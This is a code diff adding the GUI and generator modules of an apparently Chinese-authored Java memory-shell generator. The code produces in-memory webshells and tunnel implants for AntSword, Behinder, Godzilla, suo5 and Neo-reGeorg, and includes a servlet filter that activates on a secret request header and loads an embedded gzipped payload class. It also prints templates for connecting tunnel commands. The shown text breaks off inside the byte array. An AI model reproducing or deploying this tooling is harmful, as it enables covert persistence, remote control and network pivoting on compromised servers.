b/jmg-gui/src/main/java/jmg/gui/util/ResultUtil.java @@ -0,0 +1,152 @@ +package jmg.gui.util; + +import jmg.core.config.AbstractConfig; +import jmg.core.config.Constants; +import jmg.core.jMGCodeApi; +import jmg.core.util.CommonUtil; + +public class ResultUtil { + + public static void printAntSwordBasicInfo(AbstractConfig config) { + TextPaneUtil.successPrintln("基础信息:"); + TextPaneUtil.rawPrintln(""); + TextPaneUtil.rawPrintln("密码: " + config.getPass()); + TextPaneUtil.rawPrintln("请求路径: " + config.getUrlPattern()); + TextPaneUtil.rawPrintln("请求头: " + config.getHeaderName() + ": " + config.getHeaderValue()); + TextPaneUtil.rawPrintln("脚本类型: JSP"); + TextPaneUtil.rawPrintln(""); + + } + + public static void printGodzillaBasicInfo(AbstractConfig config) { + switch (config.getShellType()) { + case Constants.SHELL_LISTENER: + case Constants.SHELL_FILTER: + case Constants.SHELL_INTERCEPTOR: + TextPaneUtil.successPrintln("基础信息:"); + TextPaneUtil.rawPrintln(""); + TextPaneUtil.rawPrintln("加密器: JAVA_AES_BASE64"); + TextPaneUtil.rawPrintln("密码: " + config.getPass()); + TextPaneUtil.rawPrintln("密钥: " + config.getKey()); + TextPaneUtil.rawPrintln("请求路径: " + config.getUrlPattern()); + TextPaneUtil.rawPrintln("请求头: " + config.getHeaderName() + ": " + config.getHeaderValue()); + TextPaneUtil.rawPrintln("脚本类型: JSP"); + TextPaneUtil.rawPrintln(""); + break; + case Constants.SHELL_WF_HANDLERMETHOD: + TextPaneUtil.successPrintln("基础信息:"); + TextPaneUtil.rawPrintln(""); + TextPaneUtil.rawPrintln("加密器: JAVA_AES_BASE64"); + TextPaneUtil.rawPrintln("密码: " + config.getPass()); + TextPaneUtil.rawPrintln("密钥: " + config.getKey()); + TextPaneUtil.rawPrintln("请求路径: " + config.getUrlPattern()); + TextPaneUtil.rawPrintln(""); + break; + } + } + + public static void printBehinderBasicInfo(AbstractConfig config) { + TextPaneUtil.successPrintln("基础信息:"); + TextPaneUtil.rawPrintln(""); + TextPaneUtil.rawPrintln("密码: " + config.getPass()); + TextPaneUtil.rawPrintln("请求路径: " + config.getUrlPattern()); + TextPaneUtil.rawPrintln("请求头: " + config.getHeaderName() + ": " + config.getHeaderValue()); + TextPaneUtil.rawPrintln("脚本类型: JSP"); + TextPaneUtil.rawPrintln("内存马类名: " + config.getShellClassName()); + TextPaneUtil.rawPrintln("注入器类名: " + config.getInjectorClassName()); + TextPaneUtil.rawPrintln(""); + + } + + public static void printSuo5BasicInfo(AbstractConfig config) { + TextPaneUtil.successPrintln("基础信息:"); + TextPaneUtil.rawPrintln(""); + TextPaneUtil.rawPrintln("请求路径: " + config.getUrlPattern()); + TextPaneUtil.rawPrintln("连接指令:"); + if (config.getHeaderName().equalsIgnoreCase("user-agent")) { + TextPaneUtil.rawPrintln(String.format(" ./suo5 -d --ua '%s' -t http://", config.getHeaderValue())); + TextPaneUtil.rawPrintln(String.format(" ./suo5 -d -l 0.0.0.0:7788 --auth test:test123 --ua '%s' -t http://", config.getHeaderValue())); + } else { + TextPaneUtil.rawPrintln(String.format(" ./suo5 -H '%s: %s' -t http://", config.getHeaderName(), config.getHeaderValue())); + TextPaneUtil.rawPrintln(String.format(" ./suo5 -l 0.0.0.0:7788 --auth test:test123 -H '%s: %s' -t http://", config.getHeaderName(), config.getHeaderValue())); + } + TextPaneUtil.rawPrintln(""); + } + + public static void printNeoreGeorgBasicInfo(AbstractConfig config) { + TextPaneUtil.successPrintln("基础信息:"); + TextPaneUtil.rawPrintln(""); + TextPaneUtil.rawPrintln("密钥: " + config.getKey()); + TextPaneUtil.rawPrintln("请求路径: " + config.getUrlPattern()); + TextPaneUtil.rawPrintln("连接指令:"); + TextPaneUtil.rawPrintln(String.format(" python3 neoreg.py -k %s -H '%s:%s' -u http://", config.getKey(), config.getHeaderName(), config.getHeaderValue())); + TextPaneUtil.rawPrintln(String.format(" python3 neoreg.py --skip --proxy http://127.0.0.1:8080 -vv -k %s -H '%s:%s' -u http:// ", config.getKey(), config.getHeaderName(), config.getHeaderValue())); + TextPaneUtil.rawPrintln(""); + } + + public static void printDebugInfo(AbstractConfig config) { + TextPaneUtil.successPrintln("调试信息:"); + TextPaneUtil.rawPrintln(""); + TextPaneUtil.rawPrintln("内存马类名: " + config.getShellClassName()); + TextPaneUtil.rawPrintln("注入器类名: " + config.getInjectorClassName()); + TextPaneUtil.rawPrintln("内存马字节流长度: " + config.getShellBytesLength()); + TextPaneUtil.rawPrintln("注入器字节流长度: " + config.getInjectorBytesLength()); + TextPaneUtil.rawPrintln(""); + } + + public static void resultOutput(AbstractConfig config) throws Throwable { + switch (config.getToolType()) { + case Constants.TOOL_ANTSWORD: + printAntSwordBasicInfo(config); + break; + case Constants.TOOL_BEHINDER: + printBehinderBasicInfo(config); + break; + case Constants.TOOL_GODZILLA: + printGodzillaBasicInfo(config); + break; + case Constants.TOOL_SUO5: + printSuo5BasicInfo(config); + break; + case Constants.TOOL_NEOREGEORG: + printNeoreGeorgBasicInfo(config); + break; + } + + + if (config.getExprEncoder() != null) { + jMGCodeApi codeApi = new jMGCodeApi(config); + codeApi.generate(); + String[] results = JExprUtil.genExprPayload(config); + JExprUtil.printResult(results); + } else { + switch (config.getOutputFormat()) { + case Constants.FORMAT_CLASS: + case Constants.FORMAT_JSP: + case Constants.FORMAT_JAR: + case Constants.FORMAT_JAR_AGENT: + try { + CommonUtil.transformToFile(config); + TextPaneUtil.successPrintln("结果输出:\n"); + TextPaneUtil.rawPrintln(config.getSavePath() + "\n"); + } catch (Throwable e) { + } + break; + case Constants.FORMAT_BCEL: + case Constants.FORMAT_JS: + case Constants.FORMAT_BASE64: + case Constants.FORMAT_BIGINTEGER: + try { + String result = CommonUtil.transformTotext(config); + TextPaneUtil.successPrintln("结果输出:\n"); + TextPaneUtil.rawPrintln(result + "\n"); + } catch (Throwable e) { + } + break; + } + } + + printDebugInfo(config); + } + +} diff --git a/jmg-gui/src/main/java/jmg/gui/util/ShellGeneratorUtil.java b/jmg-gui/src/main/java/jmg/gui/util/ShellGeneratorUtil.java new file mode 100644 index 0000000..d0817c5 --- /dev/null +++ b/jmg-gui/src/main/java/jmg/gui/util/ShellGeneratorUtil.java @@ -0,0 +1,41 @@ +package jmg.gui.util; + +import jmg.antsword.generator.AntSwordGenerator; +import jmg.behinder.generator.BehinderGenerator; +import jmg.core.config.AbstractConfig; +import jmg.core.config.Constants; +import jmg.core.generator.IShellGenerator; +import jmg.custom.generator.CustomGenerator; +import jmg.godzilla.generator.GodzillaGenerator; +import jmg.neoregeorg.generator.NeoreGeorgGenerator; +import jmg.suo5.generator.Suo5Generator; + +public class ShellGeneratorUtil { + IShellGenerator shellGenerator; + + public void makeShell(AbstractConfig config) throws Exception { + switch (config.getToolType()) { + case Constants.TOOL_ANTSWORD: + shellGenerator = new AntSwordGenerator(); + break; + case Constants.TOOL_BEHINDER: + shellGenerator = new BehinderGenerator(); + break; + case Constants.TOOL_GODZILLA: + shellGenerator = new GodzillaGenerator(); + break; + case Constants.TOOL_SUO5: + shellGenerator = new Suo5Generator(); + break; + case Constants.TOOL_NEOREGEORG: + shellGenerator = new NeoreGeorgGenerator(); + break; + case Constants.TOOL_CUSTOM: + shellGenerator = new CustomGenerator(); + break; + default: + throw new IllegalArgumentException("Unsupported tool type: " + config.getToolType()); + } + shellGenerator.makeShell(config); + } +} diff --git a/jmg-gui/src/main/java/jmg/gui/util/TextPaneUtil.java b/jmg-gui/src/main/java/jmg/gui/util/TextPaneUtil.java new file mode 100644 index 0000000..a7f3ccb --- /dev/null +++ b/jmg-gui/src/main/java/jmg/gui/util/TextPaneUtil.java @@ -0,0 +1,144 @@ +package jmg.gui.util; + + +import javax.swing.*; +import javax.swing.text.*; +import java.awt.*; + +/** + * 控制文本颜色,提升用户体验 + */ +public class TextPaneUtil { + private static JTextPane textPane; + private static final Font font; + private static final SimpleAttributeSet ERROR_ATT; + private static final SimpleAttributeSet WARN_ATT; + private static final SimpleAttributeSet SUCCESS_ATT; + private static final SimpleAttributeSet RAW_ATT; + private static final SimpleAttributeSet START_ATT; + + + static { + font = new Font("Lucida Grande", Font.PLAIN, 13); + ERROR_ATT = ComponentUtil.createSimpleAttributeSet(new Color(255, 0, 0)); + WARN_ATT = ComponentUtil.createSimpleAttributeSet(new Color(255,165,0)); + SUCCESS_ATT = ComponentUtil.createSimpleAttributeSet(new Color(70,135,55)); + RAW_ATT = ComponentUtil.createSimpleAttributeSet(new Color(0, 0, 0)); + START_ATT = ComponentUtil.createSimpleAttributeSet(Color.gray); + } + + + public static void rawPrintln(String str) { + try { + textPane.getDocument().insertString(textPane.getDocument().getLength(), String.format("%s\n", str), RAW_ATT); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public static void successPrintln(String str) { + + try { + // 对 jexpr-encoder-utils 输出的处理 + if (str.startsWith("[+]")) { + textPane.getDocument().insertString(textPane.getDocument().getLength(), String.format("%s\n", str.replace("==>", "==>\n").replace("<==", "<==\n\n\n\n")), SUCCESS_ATT); + } else { + textPane.getDocument().insertString(textPane.getDocument().getLength(), String.format("[+] %s\n", str), SUCCESS_ATT); + + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + public static void warningPrintln(String str) { + try { + textPane.getDocument().insertString(textPane.getDocument().getLength(), String.format("[!] %s\n", str), WARN_ATT); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public static void errorPrintln(String str) { + try { + textPane.getDocument().insertString(textPane.getDocument().getLength(), String.format("[x] %s\n", str), ERROR_ATT); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public static void startPrintln(String str) { + try { + textPane.getDocument().insertString(textPane.getDocument().getLength(), String.format("[>] %s\n", str), START_ATT); + } catch (Exception e) { + e.printStackTrace(); + } + } + + ///////////////////////////////////////////////////////////// + // 以下内部类全都用于实现自动强制折行 + // https://github.com/MrYKK/oimchat/blob/598aedd94767667498d66d1ed682f073f3f181b7/oim-fx/src/test/java/swing/JIMSendTextPane.java + ///////////////////////////////////////////////////////////// + public static class WarpEditorKit extends StyledEditorKit { + private static final long serialVersionUID = 1L; + private ViewFactory defaultFactory = new WarpColumnFactory(); + + @Override + public ViewFactory getViewFactory() { + return defaultFactory; + } + } + + private static class WarpColumnFactory implements ViewFactory { + + public View create(Element elem) { + String kind = elem.getName(); + if (kind != null) { + if (kind.equals(AbstractDocument.ContentElementName)) { + return new WarpLabelView(elem); + } else if (kind.equals(AbstractDocument.ParagraphElementName)) { + return new ParagraphView(elem); + } else if (kind.equals(AbstractDocument.SectionElementName)) { + return new BoxView(elem, View.Y_AXIS); + } else if (kind.equals(StyleConstants.ComponentElementName)) { + return new ComponentView(elem); + } else if (kind.equals(StyleConstants.IconElementName)) { + return new IconView(elem); + } + } + + // default to text display + return new LabelView(elem); + } + } + + private static class WarpLabelView extends LabelView { + + public WarpLabelView(Element elem) { + super(elem); + } + + @Override + public float getMinimumSpan(int axis) { + switch (axis) { + case View.X_AXIS: + return 0; + case View.Y_AXIS: + return super.getMinimumSpan(axis); + default: + throw new IllegalArgumentException("Invalid axis: " + axis); + } + } + } + ///////////////////////////////////////////////////////////////////////////////// + + public static JTextPane getTextPane() { + return textPane; + } + + public static void initTextPane(JTextPane textPane) { + TextPaneUtil.textPane = textPane; + TextPaneUtil.textPane.setEditorKit(new WarpEditorKit()); + TextPaneUtil.textPane.setFont(font); + } +} diff --git a/jmg-gui/src/main/resources/messages_en.properties b/jmg-gui/src/main/resources/messages_en.properties new file mode 100644 index 0000000..7f3e022 --- /dev/null +++ b/jmg-gui/src/main/resources/messages_en.properties @@ -0,0 +1,14 @@ +format.text=Output Format +generate.text=Generate +headerName.text=Header Key +headerValue.text=Header Value +injectorClsName.text=Injector Class Name +key.text=Key +pass.text=Password +server.text=Server Type +shell.text=Shell Type +shellClsName.text=Shell Class Name +tool.text=Tool Type +uri.text=Request URI +gadget.text=Enable Gadget Wrapping +expr.text=Enable Expr Wrapping \ No newline at end of file diff --git a/jmg-gui/src/main/resources/messages_en.properties.bak b/jmg-gui/src/main/resources/messages_en.properties.bak new file mode 100644 index 0000000..1e1b042 --- /dev/null +++ b/jmg-gui/src/main/resources/messages_en.properties.bak @@ -0,0 +1,14 @@ +format.text=Output Format +generate.text=Generate +headerName.text=Request Header Key +headerValue.text=Request Header Value +injectorClsName.text=Injector Class Name +key.text=Key +pass.text=Password +server.text=Server Type +shell.text=Shell Type +shellClsName.text=Shell Class Name +tool.text=Tool Type +uri.text=Request URI +gadget.text=Enable Gadget Wrapping +expr.text=Enable Expr Wrapping \ No newline at end of file diff --git a/jmg-gui/src/main/resources/messages_zh.properties b/jmg-gui/src/main/resources/messages_zh.properties new file mode 100644 index 0000000..b839c80 --- /dev/null +++ b/jmg-gui/src/main/resources/messages_zh.properties @@ -0,0 +1,14 @@ +format.text=\u8F93\u51FA\u683C\u5F0F +generate.text=\u751F\u6210 +headerName.text=\u8BF7\u6C42\u5934\u952E +headerValue.text=\u8BF7\u6C42\u5934\u503C +injectorClsName.text=\u6CE8\u5165\u5668\u7C7B\u540D +key.text=\u5BC6\u94A5 +pass.text=\u5BC6\u7801 +server.text=\u4E2D\u95F4\u4EF6/\u6846\u67B6 +shell.text=\u7EC4\u4EF6\u7C7B\u578B +shellClsName.text=\u5185\u5B58\u9A6C\u7C7B\u540D +tool.text=\u5DE5\u5177\u7C7B\u578B +uri.text=\u8BF7\u6C42\u8DEF\u5F84 +gadget.text=\u4E13\u9879\u6F0F\u6D1E\u5C01\u88C5 +expr.text=\u8868\u8FBE\u5F0F\u8BED\u53E5\u5C01\u88C5 diff --git a/jmg-gui/src/main/resources/messages_zh.properties.bak b/jmg-gui/src/main/resources/messages_zh.properties.bak new file mode 100644 index 0000000..b37db44 --- /dev/null +++ b/jmg-gui/src/main/resources/messages_zh.properties.bak @@ -0,0 +1,14 @@ +format.text=输出格式 +generate.text=生成 +headerName.text=请求头键 +headerValue.text=请求头值 +injectorClsName.text=注入器类名 +key.text=密钥 +pass.text=密码 +server.text=中间件/框架 +shell.text=组件类型 +shellClsName.text=内存马类名 +tool.text=工具类型 +uri.text=请求路径 +gadget.text=专项漏洞封装 +expr.text=表达式语句封装 diff --git a/jmg-neoregeorg/pom.xml b/jmg-neoregeorg/pom.xml new file mode 100644 index 0000000..b16f653 --- /dev/null +++ b/jmg-neoregeorg/pom.xml @@ -0,0 +1,21 @@ + + 4.0.0 + + jmg + java-memshell-generator + ${revision} + + jmg-neoregeorg + + + + + jmg + jmg-core + ${revision} + compile + + + + diff --git a/jmg-neoregeorg/src/main/java/jmg/neoregeorg/generator/NeoreGeorgGenerator.java b/jmg-neoregeorg/src/main/java/jmg/neoregeorg/generator/NeoreGeorgGenerator.java new file mode 100644 index 0000000..3784818 --- /dev/null +++ b/jmg-neoregeorg/src/main/java/jmg/neoregeorg/generator/NeoreGeorgGenerator.java @@ -0,0 +1,56 @@ +package jmg.neoregeorg.generator; + +import javassist.ClassClassPath; +import javassist.CtClass; + +import jmg.core.config.AbstractConfig; +import jmg.core.config.Constants; +import jmg.core.generator.IShellGenerator; +import jmg.core.util.CommonUtil; +import jmg.core.util.JavassistUtil; +import jmg.core.util.ResponseUtil; +import jmg.neoregeorg.util.ShellUtil; + +public class NeoreGeorgGenerator implements IShellGenerator { + + @Override + public void initShell(AbstractConfig config) { + config.setKey("key"); + } + + @Override + public byte[] makeShell(AbstractConfig config) throws Exception { + initShell(config); + String shellName = ShellUtil.getShellName(config.getToolType(), config.getShellType()); + String shellClassName = ShellUtil.getShellClassName(shellName); + byte[] bytes = modifyShell(shellClassName, config); + config.setShellBytes(bytes); + config.setShellBytesLength(bytes.length); + config.setShellGzipBase64String(CommonUtil.encodeBase64(CommonUtil.gzipCompress(bytes))); + return bytes; + } + + @Override + public byte[] modifyShell(String className, AbstractConfig config) { + byte[] bytes = new byte[0]; + try { + pool.insertClassPath(new ClassClassPath(NeoreGeorgGenerator.class)); + CtClass ctClass = pool.getCtClass(className); + ctClass.getClassFile().setVersionToJava5(); + JavassistUtil.addFieldIfNotNull(ctClass, "headerName", config.getHeaderName()); + JavassistUtil.addFieldIfNotNull(ctClass, "headerValue", config.getHeaderValue()); + JavassistUtil.setNameIfNotNull(ctClass, config.getShellClassName()); + if (config.getShellType().equals(Constants.SHELL_LISTENER)) { + String methodBody = ResponseUtil.getMethodBody(config.getServerType()); + JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody); + } + JavassistUtil.removeSourceFileAttribute(ctClass); + bytes = ctClass.toBytecode(); + ctClass.detach(); + } catch (Exception e) { + e.printStackTrace(); + } + return bytes; + } + +} diff --git a/jmg-neoregeorg/src/main/java/jmg/neoregeorg/memshell/NeoreGeorgFilter.java b/jmg-neoregeorg/src/main/java/jmg/neoregeorg/memshell/NeoreGeorgFilter.java new file mode 100644 index 0000000..79c4c17 --- /dev/null +++ b/jmg-neoregeorg/src/main/java/jmg/neoregeorg/memshell/NeoreGeorgFilter.java @@ -0,0 +1,89 @@ +package jmg.neoregeorg.memshell; + +import javax.servlet.*; +import javax.servlet.annotation.WebFilter; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; + + +/** + * python3 + * key: key + * 由 header 来保证变化 + */ +public class NeoreGeorgFilter implements Filter { + public String headerName; + + public String headerValue; + public static java.util.Map namespace = new java.util.HashMap(); + String charslist = "yewVGo+BCvNsZrDIiKXMhkq5tFHuA9J/n2jclLdP873bOaYz1QfpTSExW64R0gUm"; + String neoreg_hello = "IwGasXee9x7OudkKMG6QZT0xKxebZGasKG7skTrzHlk2qkvPhS75XP2tKx2VAqLkMk2khcktuMlEJ52e9G7Hq+WxtfgrZE6KCwTaIn==";//7 + byte[] BASE64_ARRAYLIST = new byte[]{-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 6, -1, -1, -1, 31, 60, 48, 33, 42, 58, 23, 57, 41, 40, 29, -1, -1, -1, -1, -1, -1, -1, 28, 7, 8, 14, 54, 25, 4, 26, 15, 30, 17, 37, 19, 10, 44, 39, 49, 59, 53, 52, 62, 3, 56, 18, 46, 12, -1, -1, -1, -1, -1, -1, 45, 43, 35, 38, 1, 50, 61, 20, 16, 34, 21, 36, 63, 32, 5, 51, 22, 13, 11, 24, 27, 9, 2, 55, 0, 47, -1, -1, -1, -1, -1};//3 + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + + } + + @Override + public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { + HttpServletRequest request = (HttpServletRequest) servletRequest; + HttpServletResponse response = (HttpServletResponse) servletResponse; + try { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + Object[] args = new Object[]{ + request, //0 + response, //1 + charslist.toCharArray(), //2 + BASE64_ARRAYLIST,//3 + new Integer(200),//4 + new Integer(513),//5 + new Integer(524288),//6 + neoreg_hello,// + new Integer(1447564139),//8 + new Integer(0),//9 + new Integer(0),//10 + new Integer(0),//11 + }; + + if (namespace.get(charslist) == null) { + byte[] clazzBytes = unGzip(new byte[]{31, -117, 8, 0, -46, 68, -86, 100, 0, 3, -99, 57, 11, 124, 83, -11, -43, -25, 36, -9, -26, -34, -92, -105, -110, 6, 46, 112, 91, 74, 75, 11, 88, -46, -44, 42, 104, -44, 20, 80, 40, 69, 42, 109, 113, 13, 80, -47, 57, 9, -19, 109, -119, -92, 73, 77, 82, 94, 115, 76, 55, 31, -101, -113, 77, -25, 54, 7, 78, 69, -60, 101, 78, 84, 68, 13, 69, 4, -15, -123, -50, -73, -50, 109, 78, -73, -87, 123, -22, -26, -90, 115, 110, -50, 61, -20, 119, -50, 125, -92, 73, 27, -10, -15, 125, -65, 31, -3, 63, -50, -1, -4, -49, -5, 127, -50, -71, -31, -103, 79, 31, 58, 4, 0, 39, 58, 36, 15, -108, -64, 27, 18, -4, 92, -126, 123, -35, 112, 23, -4, 66, -126, -5, 120, -2, -91, 4, 111, 122, 64, -126, -73, 36, 120, 91, -122, 95, 73, -16, 107, 15, 65, 127, 35, -63, 111, 101, -8, -99, 12, -65, -105, -31, 29, 9, -34, -11, 64, 25, -4, -127, -121, 63, 74, -16, -98, 7, 38, -62, 27, 60, -4, -55, 3, 110, -8, 51, -81, -34, -25, -43, 7, 60, -4, -123, -121, 15, -103, -58, 95, -103, -20, 71, -68, -6, -101, 4, 127, -9, 64, 21, 99, -115, -125, -113, 121, -8, 7, 15, -97, -56, -16, 79, -58, -2, 23, -29, -4, 91, -122, -1, -56, -16, -87, 4, -61, 30, -104, -115, -64, 3, 74, -24, -16, 64, 0, -99, 60, 8, 18, -118, 30, -72, 17, 93, 30, 104, 68, 73, 70, -39, -125, 110, -12, 72, 88, -62, -77, -62, -61, 56, 62, 41, -107, 113, -68, -124, 94, 15, -106, -95, -113, -121, 9, 37, 56, 17, -43, 18, -100, -124, -109, 121, -104, 34, -93, 70, -36, -80, -100, 73, 86, -16, 48, -107, -73, -107, 60, 76, 35, 89, -80, -54, -125, -43, 56, -99, 6, 18, -111, -122, 79, 24, -91, -90, 4, 107, 113, 70, 9, -50, 68, 85, -58, 89, -116, 117, -100, -116, 117, 124, 50, 91, 70, 63, -49, -11, 60, 4, 120, 104, -112, -15, 120, 9, 27, 61, -80, -110, 76, -124, 39, -32, -119, -76, -62, 57, -68, 125, 95, -58, -71, 100, 17, 60, -119, 9, -100, 44, 99, 80, -58, 83, 120, 127, -86, 7, 98, 120, 26, 15, 33, 9, -101, 60, -80, 22, -25, 121, 112, 62, 46, 96, -56, -23, -28, 33, 60, -125, -39, 47, -108, 113, -111, -116, -51, 50, 46, -26, 93, -117, -124, 75, 8, 9, 62, -31, -51, -103, 50, 46, -11, 96, 43, -98, -59, 55, -106, -15, -86, -51, -125, -19, -40, -63, -100, -105, -53, 120, 54, 67, 62, -61, 67, 39, 15, 97, -58, 90, 33, -31, 74, 15, 108, 97, 47, 110, -63, 85, 50, 118, -15, 124, -114, -116, -85, 25, -8, 62, 95, 60, -105, -121, -13, 100, -4, 44, 75, 123, 62, 15, -97, 99, -105, 92, -32, -127, -85, 112, 77, 9, -100, -122, 17, 30, -42, 74, -40, -51, -112, 30, 9, 117, 9, 123, 61, 112, 13, -10, 49, -18, 58, 9, -93, 30, -72, -114, 99, -29, 58, -68, -112, -121, -11, 108, -31, 24, 15, -3, 60, -60, 37, 76, 80, 64, -30, 0, -69, -12, 34, 55, -103, 33, 41, 97, -54, 13, 55, -15, -100, 118, -61, -51, -104, 100, -76, 65, 62, -34, -32, -63, -115, -72, -119, -121, -51, 60, 108, -111, -16, -13, 30, -40, -59, -78, -17, -62, -117, 121, -8, -126, -124, 91, 37, -4, -94, 7, -18, -92, 0, -57, 75, 36, -68, 84, -62, 47, 33, 56, -12, 56, 13, -25, 53, -45, -48, -93, -13, 106, 17, -126, -100, -46, 83, -87, 104, 34, -98, 66, 24, -33, 118, 97, 100, 67, -92, 113, 48, 29, -115, 53, -74, 71, 6, -102, 16, -36, -31, 104, 95, 60, -110, 30, 76, 18, -10, -55, -123, -89, -13, -52, 109, 44, 18, -17, 107, 12, -89, -109, -47, 120, 95, 83, 30, 100, -7, -38, 11, -11, -18, 116, -45, 2, -94, -31, -102, 23, -115, 71, -45, 11, 16, -100, 117, -77, 87, 33, 8, -51, 9, -26, -19, -46, 47, 26, -116, -60, -120, -87, 90, 55, -10, -38, -20, 115, 17, -60, -75, -63, -109, 88, -36, 73, 117, -25, 45, -102, 61, -106, -105, -119, -64, -108, 38, -43, -115, 61, -99, -51, -102, -71, -41, -23, -111, 30, 61, -71, 94, -33, -116, 48, -85, 24, 82, 49, -86, -98, -106, 77, -35, -6, 64, -38, 52, -120, 20, 77, -59, 18, -35, -111, -40, 40, 41, -19, -5, 36, -91, 103, 109, 108, -61, 5, 61, 122, -73, -95, -109, -97, 68, -51, 67, 107, -115, -89, -11, 62, 61, 73, -62, -116, -43, -48, -70, -87, -57, 115, 55, -57, -30, 20, 37, 69, 122, 41, -47, -8, -122, -60, 122, -67, 93, 79, -81, 75, -12, 32, 44, 43, 98, -64, -79, -62, 22, -95, 63, -69, -104, 88, -29, -14, -119, -49, 65, 56, -1, -1, 76, -67, 57, 22, 73, -91, -114, -103, -97, 59, 25, -119, -9, 44, -38, -100, -42, -55, -36, -82, -70, -42, 86, 67, 67, -49, 90, 6, -84, 72, -112, -38, -28, 103, 14, -128, 86, 2, 70, -29, -23, 21, 9, 11, 85, -84, 51, 49, 93, 27, -12, 100, -76, -105, 28, -36, 88, -60, 65, 6, 100, 83, 99, 92, 79, 55, -90, 82, -79, -58, 112, -72, 45, 108, -58, -70, -31, 58, 95, -9, 58, -67, 123, 125, 115, 44, -86, 19, -35, -28, 96, 42, -83, -109, 49, 67, -74, 35, 82, 122, -9, 96, 50, -102, -34, -36, -40, -83, 39, -45, -115, -25, -100, 124, -62, 105, -51, -76, -120, -10, 70, -69, 35, 105, -67, -120, 5, 102, -81, -110, -16, -53, 54, -47, -80, -98, 36, -71, 114, 68, 125, 125, 122, 122, 97, 55, -121, -107, -34, -45, -102, 74, 13, -22, 73, -46, -32, -72, -70, -39, -57, -60, -118, 94, -24, -68, -18, -104, -15, -124, 20, -56, -62, 62, -124, 9, 69, 108, -85, -64, 61, 112, -81, 2, 123, -32, 62, -124, -78, 49, 113, -93, -32, 101, 120, 57, -126, 119, -76, -44, 100, 126, 18, -83, -117, -104, -21, -55, -126, 99, -109, -86, 2, 79, -61, 15, 17, 74, 13, 120, 52, -47, 104, 35, 2, -31, -46, -67, -26, 4, 81, -113, -89, -37, -12, 120, 95, 122, 29, -95, 17, -88, 53, 62, 48, -104, 38, -38, 122, -92, -97, -28, -76, -17, -27, 65, 21, -68, 2, 47, 87, -16, 74, 120, 17, 97, -14, 104, 113, 22, 13, 70, 99, 61, 44, -19, 87, -16, -85, -92, 43, 94, -91, -32, -43, 120, -115, -126, -41, -30, -41, 20, -4, 58, -33, -69, 22, -81, 83, -32, 32, 28, 82, -16, 122, -4, -122, 2, 79, -64, -109, 54, 27, -125, 76, -18, -19, 42, 120, 3, 126, 83, -63, 111, -63, 62, 5, -65, -51, 54, 19, 86, 116, -82, 108, 81, -16, 70, -4, -114, 2, -113, -63, -29, 20, 64, 73, 61, -91, -89, 77, 3, -40, 47, 73, 49, 40, 113, -72, -84, -20, 108, 99, 1, -120, -60, 54, -36, -114, 80, -98, 59, 88, -102, 78, 15, -48, 33, -87, 30, 39, 3, 25, -100, 110, 98, -76, -17, -30, -51, 8, -43, -123, -15, -58, -72, -87, 81, -56, -73, -64, 67, 10, -34, -118, 59, 40, 27, 82, 56, 74, 120, -101, -126, 59, -15, 118, -117, -61, -56, 85, 35, 116, -38, 35, -15, -120, -31, -68, 93, 120, -121, -126, -33, -61, -116, -126, -33, -57, 59, 77, 67, 47, 53, 82, 91, 71, -92, -97, 31, -125, 106, -120, 103, 36, -26, -106, -8, 96, -65, -98, -116, 48, 51, 9, 127, -96, -32, 93, -72, 91, -63, -69, -15, 30, 9, -17, 85, 112, 15, -34, 39, -31, 94, 5, -17, -57, 7, 20, 124, 16, -77, -90, -10, 38, 41, 5, 30, -127, -61, 10, -18, -61, 33, 5, -9, -29, 67, 10, 28, -127, -89, 20, 56, 0, 15, 43, 120, 0, 31, -106, -16, 32, -101, -108, -20, -2, 8, 30, -106, -16, 81, 5, 31, -61, -57, 37, 124, -126, -124, -79, -94, -96, -63, 12, 3, 5, -97, 100, -21, -106, -83, -96, 103, -99, -22, -43, -109, 13, 45, -100, -31, -56, -73, 10, 30, -127, -61, -60, 48, -107, 99, -120, 79, -111, 71, -31, 29, 124, 90, -63, 31, -30, -45, -26, 81, 56, 77, -59, -122, 52, -86, -76, 67, -121, -97, -5, -62, 100, 50, -78, 121, -7, 96, 58, 23, 68, 18, 62, -93, -32, -77, -8, 28, -117, 116, 21, 93, -116, -12, -12, -40, 52, -81, -90, 0, -63, -25, -15, 26, -124, 18, -61, -63, -117, 6, 123, 123, 57, 100, -91, -26, -27, 29, 29, 45, -51, 43, 20, 124, -127, 66, 0, 95, -60, -105, 20, 124, 25, 95, -55, 119, 109, 43, 13, -31, 68, -9, 122, 122, -85, 61, 61, 116, 57, -59, 17, -16, 35, 9, 95, 85, -16, -57, -8, 19, 5, 127, -118, -81, 41, -80, 23, -18, 87, -16, 103, -8, 58, 21, -49, -27, -53, 40, -84, -106, 44, 108, 109, -93, -44, -76, -72, 53, -100, 99, -16, 6, -2, 28, -95, -54, 36, 75, 26, 116, -81, -117, -112, -5, 99, -87, 70, -109, 118, -77, -71, 85, -16, 23, -116, 38, 116, -74, 44, 92, 44, -31, 47, 21, 124, 19, -33, -94, 103, -127, 111, 43, -8, 43, 54, -9, -81, 21, -4, 13, -2, 86, -63, -33, -31, -61, 36, -4, -110, -27, -99, 93, 11, 59, 23, 51, -25, -33, 43, -8, 14, 31, -68, -53, 62, -68, 1, -33, -90, -6, 55, -10, 25, -79, -50, -4, -118, -2, 64, 98, -50, -97, -49, -85, 63, 34, -32, 124, 86, -24, 61, -66, -11, 30, -19, 26, 20, -4, 19, -2, 89, -63, -9, -7, -123, 125, -64, -61, 95, -16, 67, 5, -1, -54, 116, 63, -30, -40, -48, 114, -106, -23, -48, -45, 27, 19, -55, -11, -100, 76, -110, -67, -111, 110, 93, -63, -65, -31, -121, 8, 19, 11, 76, 103, 25, -51, -114, 70, 27, 124, -110, 109, 76, -4, 59, -15, -128, -3, -16, 16, -62, -44, 49, -34, 45, -56, 16, 87, 26, 25, 